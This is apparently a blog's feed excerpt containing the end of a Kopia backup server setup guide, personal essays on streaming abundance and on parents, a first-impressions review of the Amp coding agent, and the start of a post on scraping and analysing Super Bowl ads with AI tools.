&lt;li&gt;Enter directory path as &lt;code&gt;/repository&lt;/code&gt; and click Next.&lt;/li&gt;
&lt;li&gt;Set the same password here that you set as &lt;code&gt;KOPIA_PASSWORD&lt;/code&gt; in the environment variables.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Open a terminal window for the container via Container Manager and run &lt;code&gt;kopia server user add &amp;lt;someusername&amp;gt;&lt;/code&gt; to create a user for your client machine.
&lt;ul&gt;
&lt;li&gt;Set a password when asked.&lt;/li&gt;
&lt;li&gt;Restart the server to make it take effect.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Optional/Additional TODOs:
&lt;ul&gt;
&lt;li&gt;ACLs if you want to back up multiple users/hosts on your network to the same server&lt;/li&gt;
&lt;li&gt;Use Let’s Encrypt instead of self-signed certs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mbp-kopia-client"&gt;MBP (Kopia Client)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Install Kopia CLI or GUI (I’ll use the GUI here).&lt;/li&gt;
&lt;li&gt;Generate the SHA-256 fingerprint of the server cert:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;openssl x509 -in server.crt -noout -fingerprint -sha256 | sed 's/://g' | cut -f 2 -d =&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Open Kopia GUI, go to the &lt;code&gt;Repository&lt;/code&gt; tab, and click &lt;code&gt;Kopia server&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;Enter the Web UI address from above.&lt;/li&gt;
&lt;li&gt;Enter the hash from above.&lt;/li&gt;
&lt;li&gt;Click Next.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Enter the username and password you set for the user on the Kopia server.&lt;/li&gt;
&lt;li&gt;Click Connect.&lt;/li&gt;
&lt;li&gt;Finally, set up a policy (or policies) for the folders/files you want to back up. This can get very extensive, so read the Kopia documentation for this.&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>More Is Less</title><link>https://shantanugoel.com/2025/10/01/more-is-less/</link><pubDate>Wed, 01 Oct 2025 16:31:33 +0530</pubDate><guid>https://shantanugoel.com/2025/10/01/more-is-less/</guid><description>&lt;p&gt;Sora 2 launch by Open AI, which many are terming as &lt;code&gt;AI Tiktok&lt;/code&gt; made me think. Growing up in India during the 1980s, television was a simple ritual. Every evening, Doordarshan had our attention with its prime time shows. I&amp;rsquo;d sit cross-legged on the floor, eyes glued to whatever was airing. Sprawling family sagas of Buniyaad and Hum Log and the suspense with scares of Rahasyamayi Qila. Sundays were rare treat days with my favourite He-Man and the Masters of the Universe, but also epic journeys of Mahabharat and Chandrakanta whose opening theme songs I can still recite word to word, beat to beat. Byomkeysh Bakshi and Bharat Ek Khoj used to delight to no end.&lt;/p&gt;</description><content>&lt;p&gt;Sora 2 launch by Open AI, which many are terming as &lt;code&gt;AI Tiktok&lt;/code&gt; made me think. Growing up in India during the 1980s, television was a simple ritual. Every evening, Doordarshan had our attention with its prime time shows. I&amp;rsquo;d sit cross-legged on the floor, eyes glued to whatever was airing. Sprawling family sagas of Buniyaad and Hum Log and the suspense with scares of Rahasyamayi Qila. Sundays were rare treat days with my favourite He-Man and the Masters of the Universe, but also epic journeys of Mahabharat and Chandrakanta whose opening theme songs I can still recite word to word, beat to beat. Byomkeysh Bakshi and Bharat Ek Khoj used to delight to no end.&lt;/p&gt;
&lt;p&gt;These weren&amp;rsquo;t choices. These were the only options. We didn&amp;rsquo;t scroll. We tuned in and absorbed.&lt;/p&gt;
&lt;p&gt;Arrival of cable TV shifted things a bit in the 1990s and beyond. Zee TV launched, then star plus, then sony and more. Antakashari, Boogie Woogie, CID swooned us. Cartoon Network, MTV et al gave us a bigger glimpse into the modern world beyond India. Then with OTTs in the late 2000s this just felt like a train that was turning into a rocketship of amazing content. Bigflix started the trend but Hotstar and Netflix just seemed to create a runway where that flight would just take off into the orbit. This was a time when &lt;code&gt;Binging&lt;/code&gt; wasn&amp;rsquo;t a verb related to food anymore for me but for content. More felt like a progress.&lt;/p&gt;
&lt;p&gt;Yet here&amp;rsquo;s the irony. Abundance has now become a paralysis inducing phenomenon for me. These days, I mostly squeeze in viewing content during meals. Spoon in one hand, remote in the other. But calling it &lt;code&gt;viewing&lt;/code&gt; would be a stretch. What really happens is an endless loop of browsing. Scrolling through rows of thumbnails on Netflix, then jumping to Prime Video, and then JioHotstar or whatever. By the time I decide (or not), the plate&amp;rsquo;s empty and so is my will to watch something. The weight of infinite options. I still manage to watch some things, mostly anime, but it&amp;rsquo;s a deliberate determination to watch them through.&lt;/p&gt;
&lt;p&gt;This hit home today again with the release of Sora 2. Life like video, realistic physics, even audio with perfectly synced dialogues, all wrapped up in a Tiktok like app for user generated clips.&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t have anything against AI generated art, far from it. Tools like this democratize creation, letting anyone create surreal stuff from their imagination. The same way many other tools have helped do in the past.&lt;/p&gt;
&lt;p&gt;I just see the deluge that&amp;rsquo;s to come and I think, probably the time of content is over. Or soon will be, at least for me.&lt;/p&gt;
&lt;p&gt;Or maybe something comes along that curates everything for me and makes me feel like watching things again.&lt;/p&gt;</content></item><item><title>Your Parents Did The Best Job They Knew How To Do</title><link>https://shantanugoel.com/2025/07/24/parents/</link><pubDate>Thu, 24 Jul 2025 15:35:09 +0530</pubDate><guid>https://shantanugoel.com/2025/07/24/parents/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe the sun should never set upon an argument
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe we place our happiness in other people&amp;#39;s hands
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe that junk food tastes so good because it&amp;#39;s bad for you
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe your parents did the best job they knew how to do
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe that beauty magazines promote low self esteem
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe I&amp;#39;m loved when I&amp;#39;m completely by myself alone
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the Winter of 1999, as I was preparing to get to college, I was a regular run-of-the-mill rebellious teenager, convinced I was unique, that I alone held the keys to life, the universe and everything else, while my parents fumbled in the dark. They could never identify with the &amp;ldquo;new&amp;rdquo; world. Their advice felt archaic, shackled to a conservative past that couldn&amp;rsquo;t possibly sync with the rapid pace the &amp;ldquo;modern world&amp;rdquo; was evolving at. Every suggestion they offered seemed wrong, every boundary they set was an affront to my budding independence. I was certain they didn&amp;rsquo;t understand me, and worse, they never could.&lt;/p&gt;</description><content>&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe the sun should never set upon an argument
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe we place our happiness in other people&amp;#39;s hands
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe that junk food tastes so good because it&amp;#39;s bad for you
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe your parents did the best job they knew how to do
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe that beauty magazines promote low self esteem
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I believe I&amp;#39;m loved when I&amp;#39;m completely by myself alone
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the Winter of 1999, as I was preparing to get to college, I was a regular run-of-the-mill rebellious teenager, convinced I was unique, that I alone held the keys to life, the universe and everything else, while my parents fumbled in the dark. They could never identify with the &amp;ldquo;new&amp;rdquo; world. Their advice felt archaic, shackled to a conservative past that couldn&amp;rsquo;t possibly sync with the rapid pace the &amp;ldquo;modern world&amp;rdquo; was evolving at. Every suggestion they offered seemed wrong, every boundary they set was an affront to my budding independence. I was certain they didn&amp;rsquo;t understand me, and worse, they never could.&lt;/p&gt;
&lt;p&gt;That same winter of 1999, Savage Garden came out with their second album &amp;ldquo;Affirmation&amp;rdquo;. I wouldn&amp;rsquo;t stumble upon the titular song, a part of which I wrote above, up until a few months later. But when I did, it was a revelation, unlocking doors that I didn&amp;rsquo;t know were closed. As my life layered on experiences over the years, I returned to these &amp;ldquo;I believe&amp;rdquo; statements again and again, finding meaning and new depths in them every time and they&amp;rsquo;ve come to shape my thoughts and opinions.&lt;/p&gt;
&lt;p&gt;The line that really struck a chord with me was &amp;ldquo;I believe your parents did the best job they knew how to do&amp;rdquo;. It forced me to confront my own history. My parents grew up in an environment near post-independence India, an era marked with economic scarcity, limited opportunities, and societal norms still trying to shed the colonial shadows. They carved their paths through hardship: meager incomes, scarce resources, and traditions they questioned but often had to endure. Looking back, I see the deliberate detours they took from their own upbringings to give me a freer rein. When their suggestions clashed with my worldview, feeling outdated or restrictive, it wasn&amp;rsquo;t malice; it was the lens shaped by their lived realities. My resistances, rational or not, met with their own pushback or quiet concessions, all in the name of steering me toward what they hoped was better.&lt;/p&gt;
&lt;p&gt;Now, as a parent myself, I watch this cycle unfold in real time. My kids once hung on my every word like gospel truth. But as they find and form their own identities in a world of digital nativity and endless information, our opinions occasionally collide. These clashes will only intensify as they absorb the zeitgeist of their generation. I&amp;rsquo;ve tried to adapt, reshaping my views where I can. Yet, after four-plus decades of experiences etched into my mindset, change doesn&amp;rsquo;t come easy even when I try my hardest. Old habits and hard-won lessons cling all too well.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s tempting for every next generation to label these intergenerational frictions as &amp;ldquo;trauma&amp;rdquo; inflicted by out-of-touch parents. But in many cases, we the next gen can be just as disingenuous and selfish in building up that narrative. I think about how we handle debates with friends. If approached earnestly, we listen, remain open to persuasion, or respectfully agree to disagree—without burning down the relationship (We are becoming less and less patient here as well though :)). Why, then, do we not afford that grace to our parents? We expect them, as the &amp;ldquo;older and wiser&amp;rdquo; generation, to intuitively know better, or as our caregivers, to yield every time. But they&amp;rsquo;re human, still evolving, bound by the constraints of their eras. They haven&amp;rsquo;t stopped growing just because they&amp;rsquo;ve hit 40, 50, or 60; they retain that potential if we extend the patience to nurture it.&lt;/p&gt;
&lt;p&gt;Or maybe they don&amp;rsquo;t, and that&amp;rsquo;s fine too and sometimes it can be us embracing their imperfections, as we&amp;rsquo;d do for our kids when we try to do the best job we can for raising them.&lt;/p&gt;</content></item><item><title>Ampcode - First Impressions</title><link>https://shantanugoel.com/2025/06/15/ampcode/</link><pubDate>Sun, 15 Jun 2025 22:54:59 +0530</pubDate><guid>https://shantanugoel.com/2025/06/15/ampcode/</guid><description>&lt;h2 id="intro"&gt;Intro&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve been seeing a few folks talking about &lt;a href="https://ampcode.com"&gt;Amp&lt;/a&gt; recently, which is an agentic coding tool built by &lt;code&gt;Sourcegraph&lt;/code&gt;, the folks who had built Cody. I have worked with Cody before and had a great time with it before it got overshadowed by Windsurf/Cursor etc, so I wanted to give Amp a try as well. Now, this is &lt;em&gt;NOT&lt;/em&gt; a full fledged review but only my first hands on impressions from implementing a mid sized feature over the weekend. Thanks to &lt;code&gt;Quinn&lt;/code&gt; (CEO of Sourcegraph/Amp) who gave me a bunch of extra credits to try it out.&lt;/p&gt;</description><content>&lt;h2 id="intro"&gt;Intro&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve been seeing a few folks talking about &lt;a href="https://ampcode.com"&gt;Amp&lt;/a&gt; recently, which is an agentic coding tool built by &lt;code&gt;Sourcegraph&lt;/code&gt;, the folks who had built Cody. I have worked with Cody before and had a great time with it before it got overshadowed by Windsurf/Cursor etc, so I wanted to give Amp a try as well. Now, this is &lt;em&gt;NOT&lt;/em&gt; a full fledged review but only my first hands on impressions from implementing a mid sized feature over the weekend. Thanks to &lt;code&gt;Quinn&lt;/code&gt; (CEO of Sourcegraph/Amp) who gave me a bunch of extra credits to try it out.&lt;/p&gt;
&lt;p&gt;I wanted to build a dashboard for my &lt;a href="https://x.com/shantanugoel/status/1883794181061283997"&gt;Amazon Price Tracker Telegram bot&lt;/a&gt; so I can see various analytics about it (Product price history charts, products being tracked, various stats around them, etc) and maybe even open up it up to public at some point. This served as a good one to try out Amp with because it was a decent sized feature while also not starting from scratch so it would give me an idea of how Amp plays with existing code bases.
(Spoiler Alert: This page was part of the outcome, with absolutely 0 handwritten code)
&lt;img src="https://shantanugoel.com/img/2025/amp-8.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Here are a few things I noticed.&lt;/p&gt;
&lt;h2 id="the-good-stuff"&gt;The Good Stuff&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Context is King! (and smartly managed)&lt;/strong&gt;: One of my biggest worries with AI coding tools is hitting context limits and I find myself managing it manually myself by summarising and starting new conversations when it looks like things are going sideways. Ampcode handles this brilliantly. It shows you your current thread&amp;rsquo;s (what Amp calls a set of messages in an unbroken conversation) context usage info and even warns you when you&amp;rsquo;re nearing the 80% mark. It also provides you options to compact the thread (which summarises it), drastically reducing the context usage (In my case it went from 80+% to a mere 6%) and continue the conversation in the same thread or create a new one. This is a huge win for long, complex interactions IMO. Although, one thing they can improve upon is to up the context window a bit. Amp shows a 168k context window size. Compared to Cursor, it is good for the normal mode which has a 120k context window but smaller compared to their MAX mode which has 200k.
&lt;img src="https://shantanugoel.com/img/2025/amp-1.png" alt="Context Window Info in Amp"&gt;
&lt;img src="https://shantanugoel.com/img/2025/amp-4.png" alt="Context Window reaching limit in Amp"&gt;
&lt;img src="https://shantanugoel.com/img/2025/amp-5.png" alt="Thread summarisation in Amp"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Gels well with existing codebase&lt;/strong&gt;: It was good at picking up the tools and tech stack I&amp;rsquo;m using. Without me explicitly telling it, it knew that it&amp;rsquo;s going to add the feature to an existing codebase, figured out what dependencies I&amp;rsquo;m using and even though it was trying to build the dashboard separated out from the main bot, it made sure to pick the options that fit perfectly with the existing code. This is more about the model than Amp itself, but I&amp;rsquo;ve had cursor trip out often on this so much so that I had to create global rules around the tools and dependencies I was using.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Staying on track via a persistent To-Do list&lt;/strong&gt;: Amp keeps a persistent TODO list at the bottom of the chat about the things it figures out that it needs to do in the current session. This might seem small but it&amp;rsquo;s incredibly useful as I think it remained on track because of this even while generating a bunch of things in a single shot. This also kept it on track to follow the plan.md file I had asked it to implement from and it always looked at the right file despite me having 2 files with same name in the codebase (one for the bot and one for the dashboard) and me not referencing the file directly.
&lt;img src="https://shantanugoel.com/img/2025/amp-2.png" alt="TODO List in Amp"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Thread Sharing/Online Access&lt;/strong&gt;: The thread messages (both input and output) can be accessed online and can even be shared with your team or publicly. This is a feature that I had asked Windsurf guys many times because I think it just provides an easy way for me to look up my past interactions or use for learning from others.
&lt;img src="https://shantanugoel.com/img/2025/amp-6.png" alt="Online/Sharing access for threads in Amp"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Beep!&lt;/strong&gt;: A small but useful quality-of-life feature in Ampcode is that it beeps when it needs input from you or when it&amp;rsquo;s done with a task. I don&amp;rsquo;t have to constantly keep checking the editor to see where it&amp;rsquo;s at.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use anywhere&lt;/strong&gt;: A major issue I have with windsurf/cursor et al is that I&amp;rsquo;ve to use their editors. While Amp can be used in vanilla vscode, or cursor/windsurf, or CLI, or jetbrains IDEs etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Handling cli output&lt;/strong&gt;: A particular issue I&amp;rsquo;ve run across in cursor a few times earlier was handled well by Amp. I use shadcn-vue for my frontend and often the models look for &lt;code&gt;toast&lt;/code&gt; component instead of the recommended &lt;code&gt;sonner&lt;/code&gt; with the shadcn-vue cli failing out with this recommendation/deprecation notice. Now cursor almost always does two issues (irrespective of which model I used): 1. It tries to implement the toast module itself instead of looking at the recommendation and installing that instead. Amp did it well and installed sonner instead after the first failure. 2. Even after installing sonner, cursor botches up the imports and uses &lt;code&gt;Sonner&lt;/code&gt; imports instead of the &lt;code&gt;Toaster&lt;/code&gt; it exports. Amp made the same mistake, but the next step is where it shined. Cursor, when it comes to know about this issue, tried often to fix the sonner module itself to export Sonner from it. But Amp correctly fixed the client module code to import Toaster instead. Now, Amp says that it provides mostly raw access to the models. I suspect that the issue with cursor et al might be the other things they layer on top of the model but not sure. Another nice thing about Amp is that it shows &lt;code&gt;where&lt;/code&gt; it will run the command. E.g. see the image where it shows it will run the pip install in &lt;code&gt;dashboard/api&lt;/code&gt; folder.
&lt;img src="https://shantanugoel.com/img/2025/amp-7.png" alt="Handling CLI output in Amp"&gt;
&lt;img src="https://shantanugoel.com/img/2025/amp-3.png" alt="CLI Context in Amp"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mixed-feelings"&gt;Mixed Feelings&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Web Browsing&lt;/strong&gt;: I had some minor issues crop up with getting tailwindv4 to work (Most models struggle with this including in cursor) so typically I point out the url to tailwind v4 installation and cursor is able to pick it up and fix accordingly. Amp fixed it as well after I gave it the url, but I was not really sure if it took the exact url I gave or did a search via keywords because there wasn&amp;rsquo;t a way to &lt;code&gt;@&lt;/code&gt; refer a url like you can in cursor. Ultimately the issue was fixed straight away but it will be useful to understand if we can ask Amp to browse specific urls.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Model Choice&lt;/strong&gt;: Another Amp principle is that it does not have a model selector and it will choose the best models itself. In practice, this worked well for me for this task as I focused not on trying different models and took off that cognitive load from my mind. But I will need to use it more before I form a more concrete opinion on this aspect. Looking at my dashboard it seems that Amp used Claude Sonnet 4 for my work. I&amp;rsquo;m not sure whether this means they will select &amp;ldquo;a&amp;rdquo; best model for all the work for everyone at a point in time, or whether they will select different models for different kinds of tasks (seems the former).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Doc Indexes&lt;/strong&gt;: Cursor provides a way to add links to custom documentation that it can index and use while coding for you. Amp does not. Now, I am not giving it as a straight negative for Amp is because in practice I see cursor often not taking that documentation into account at all (probably context limitation? And potentially all the docs clutter the context even when not needed so it performs worse even at other things?). For this task, I didn&amp;rsquo;t see any issues with Amp. Will form a better opinion on this with more usage.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="niggles-it-can-improve-upon"&gt;Niggles it can improve upon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;UI Placement&lt;/strong&gt;: By default, Amp chat window sits on the left side of VS Code, mixed with other tabs of code/git/extensions etc. While you can drag it to the right, it felt a little unwieldy because Copilot Chat usually occupies that space. I was able to minimize copilot chat and get it to use the space well just like cursor but it was just a bit of effort which everyone might not see how to right away. Now, this may be out of hands for Amp because it is an extension compared to cursor which forks the editor itself. But I&amp;rsquo;d take being able to use Amp anywhere compared to the minor effort I had to do to place it right.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Folder References&lt;/strong&gt;: I was able to &lt;code&gt;@&lt;/code&gt; refer files but could not do so for folders. A place where it caused me issues was that I wanted it to create a file under &lt;code&gt;docs\dashboard&lt;/code&gt; folder, but mentioning just &lt;code&gt;dashboard&lt;/code&gt; resulted in it creating a new folder &lt;code&gt;dashboard&lt;/code&gt; under root itself. This could potentially lead to some file managment headaches.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Easy access to Cost&lt;/strong&gt;: I can see my running costs in the dashboard on Amp&amp;rsquo;s website. But it will be useful to see that within the editor/thread (Either the cost incurred on this thread, or remaining credits)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cost"&gt;Cost&lt;/h2&gt;
&lt;p&gt;It roughly cost me around $10 in credits to get this work done. If I was using claude 4 sonnet in MAX mode in cursor, I&amp;rsquo;d probably be paying ~$12 or more because like I mentioned above I typically see a few issues in cursor which were taken care of by Amp so I&amp;rsquo;d likely use a bit more tokens there. Plus Amp pricing for model usage does not have any markup while Cursor has a 20% markup. If I was using the normal mode in cursor, it&amp;rsquo;d likely end up a bit cheaper (probably around $7-8 or so) but with a lot more effort on my part.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2025/amp-9.png" alt=""&gt;&lt;/p&gt;
&lt;h2 id="verdict"&gt;Verdict&lt;/h2&gt;
&lt;p&gt;For me, Amp turned out to be pretty great and I will try to use it more over the next month to confirm which way I will lean for the long term but it is, at the very least, a pretty great competitor to Cursor and outshines it in several parts.&lt;/p&gt;</content></item><item><title>Analyzing Superbowl Ads Trends Over The Years (with a bit of help from AI)</title><link>https://shantanugoel.com/2025/02/12/analyze-superbowl-ads-trends/</link><pubDate>Wed, 12 Feb 2025 10:13:46 +0530</pubDate><guid>https://shantanugoel.com/2025/02/12/analyze-superbowl-ads-trends/</guid><description>&lt;p&gt;&lt;a href="https://x.com/AdTechGod"&gt;AdTechGod&lt;/a&gt; recently posted an interesting question on twitter &amp;ldquo;How many Super Bowl advertisers return year after year, and how much churn is there? I assume the ROAS isn&amp;rsquo;t strong enough to justify long term commitments.&amp;rdquo;
&lt;img src="https://shantanugoel.com/img/2025/2025-02-12-10-19-55.png" alt="Do Super Bowl Advertisers Return?"&gt;&lt;/p&gt;
&lt;p&gt;This got me thinking about the Super Bowl ads and how they have changed over the years, and I set out to do some analysis on it.&lt;/p&gt;
&lt;h2 id="first-steps"&gt;First steps&lt;/h2&gt;
&lt;p&gt;At the outset, I needed to get some information about the ads shown during Super Bowl in the past years. I found a few data sets which were fairly incomplete but a good starting point nonetheless, and I did a quick and dirty pivot table to get an initial insight.&lt;/p&gt;</description><content>&lt;p&gt;&lt;a href="https://x.com/AdTechGod"&gt;AdTechGod&lt;/a&gt; recently posted an interesting question on twitter &amp;ldquo;How many Super Bowl advertisers return year after year, and how much churn is there? I assume the ROAS isn&amp;rsquo;t strong enough to justify long term commitments.&amp;rdquo;
&lt;img src="https://shantanugoel.com/img/2025/2025-02-12-10-19-55.png" alt="Do Super Bowl Advertisers Return?"&gt;&lt;/p&gt;
&lt;p&gt;This got me thinking about the Super Bowl ads and how they have changed over the years, and I set out to do some analysis on it.&lt;/p&gt;
&lt;h2 id="first-steps"&gt;First steps&lt;/h2&gt;
&lt;p&gt;At the outset, I needed to get some information about the ads shown during Super Bowl in the past years. I found a few data sets which were fairly incomplete but a good starting point nonetheless, and I did a quick and dirty pivot table to get an initial insight.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/shantanugoel/status/1889138261924434010"&gt;https://x.com/shantanugoel/status/1889138261924434010&lt;/a&gt;
&lt;img src="https://shantanugoel.com/img/2025/2025-02-12-10-28-10.png" alt="Initial insights Into Super Bowl Ads Historical Data"&gt;&lt;/p&gt;
&lt;h2 id="preparing-the-data"&gt;Preparing The Data&lt;/h2&gt;
&lt;h3 id="part-1"&gt;Part 1&lt;/h3&gt;
&lt;p&gt;I wanted to do a bit more though. The data I had was fairly limited, both in terms of information as well as the years it covered. So I wanted to create my own. I found superbowl-ads.com which seemed to be a pretty good source but of course they didn&amp;rsquo;t have an API or anything and needed scraping. It&amp;rsquo;s not too bad to write a scraper for a website like this, but it would have still taken me a few hours. So, I whipped out cursor.&lt;/p&gt;
&lt;p&gt;I went through the site, created a model of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What things are needed to be scraped and what to avoid
&lt;ul&gt;
&lt;li&gt;e.g. each year&amp;rsquo;s ads were linked to a page titled with that year number, the individual ad links were under a &lt;code&gt;cactus-post-item&lt;/code&gt; div, the sidebar &lt;code&gt;cactus-sidebar&lt;/code&gt; had additional/unrelated ads and thus needed to be ignored, and so on.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;What format are the ads titled in that I could parse to decompose into the data I need to take out brand name, ad title, etc.
&lt;ul&gt;
&lt;li&gt;There were quite a few. And a few variations on each. So I had to list down various such formats in which they appear&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;What information I needed to take out from each ad
&lt;ul&gt;
&lt;li&gt;Brand name, Ad title, year at a minimum. Which could be taken out from the above things&lt;/li&gt;
&lt;li&gt;I also wanted to get more information about the ads itself though like themes of the ads, what kind of industry/product they were advertising, etc. So I thought of collecting the video url as well.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I needed to select a data format in which I should save this data. I had a few options that I thought about: csv, json, sqlite, etc and I went with json, mainly because they are human readable, so I can easily look at and update info if needed. CSVs could do this too, but they are much less structured and post processing often becomes a pain where the delimiter is also used in the content itself.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With this, I could give a good extensive prompt to cursor to create a scraper in python that could get this data in place for me. It needed a few iterations back and forth to fix a few issues (runtime errors, broken links, more format issues, etc) but in 30 minutes or so I got it to work, and collected data in the below looking format&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;year&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;brand&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;GODADDY&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;“Social Slickness”&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;original_title&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;GoDaddy Super Bowl LIX 2025 Ad “Social Slickness”&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;page_url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;https://www.superbowl-ads.com/godaddy-super-bowl-lix-2025-ad-social-slickness/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;video_url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;https://www.youtube.com/embed/K2Gj9BufAqo?feature=oembed&amp;amp;autoplay=1&amp;amp;wmode=opaque&amp;amp;rel=0&amp;amp;showinfo=0&amp;amp;iv_load_policy=3&amp;amp;modestbranding=0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&lt;span style="color:#960050;background-color:#1e0010"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="part-2"&gt;Part 2&lt;/h3&gt;
&lt;p&gt;Next, I wanted to augment this data with some more information that was about the ad content itself, rather than just the brands/industry. I could go through each one of them myself like a psycho, and spend weeks compiling this information. But WHO DOES THAT NOW? So, I got the good old Google Gemini AI into action. I got cursor to create a data enhancer script that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Takes the json output from above&lt;/li&gt;
